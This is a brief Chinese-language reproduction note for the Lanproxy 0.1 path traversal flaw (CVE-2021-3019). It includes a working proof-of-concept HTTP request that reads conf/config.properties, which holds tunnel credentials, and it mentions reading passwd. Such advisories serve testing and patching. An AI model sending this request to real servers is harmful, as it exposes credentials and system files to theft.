Lanproxy 路径遍历漏洞 (CVE-2021-3019)Lanproxy 路径遍历漏洞 (CVE-2021-301

Lanproxy 路径遍历漏洞 (CVE-2021-3019)

一、漏洞简介

Lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具，支持tcp流量转发，可支持任何tcp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面等等）本次Lanproxy 路径遍历漏洞 (CVE-2021-3019)通过../绕过读取任意文件。该漏洞允许目录遍历读取/../conf/config.properties来获取到内部网连接的凭据。

二、影响版本

lanproxy 0.1

三、漏洞复现

环境安装移步：

www.jianshu.com/p/6482ac354…

Poc:
/../conf/config.properties

GET /../conf/config.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

读取passwd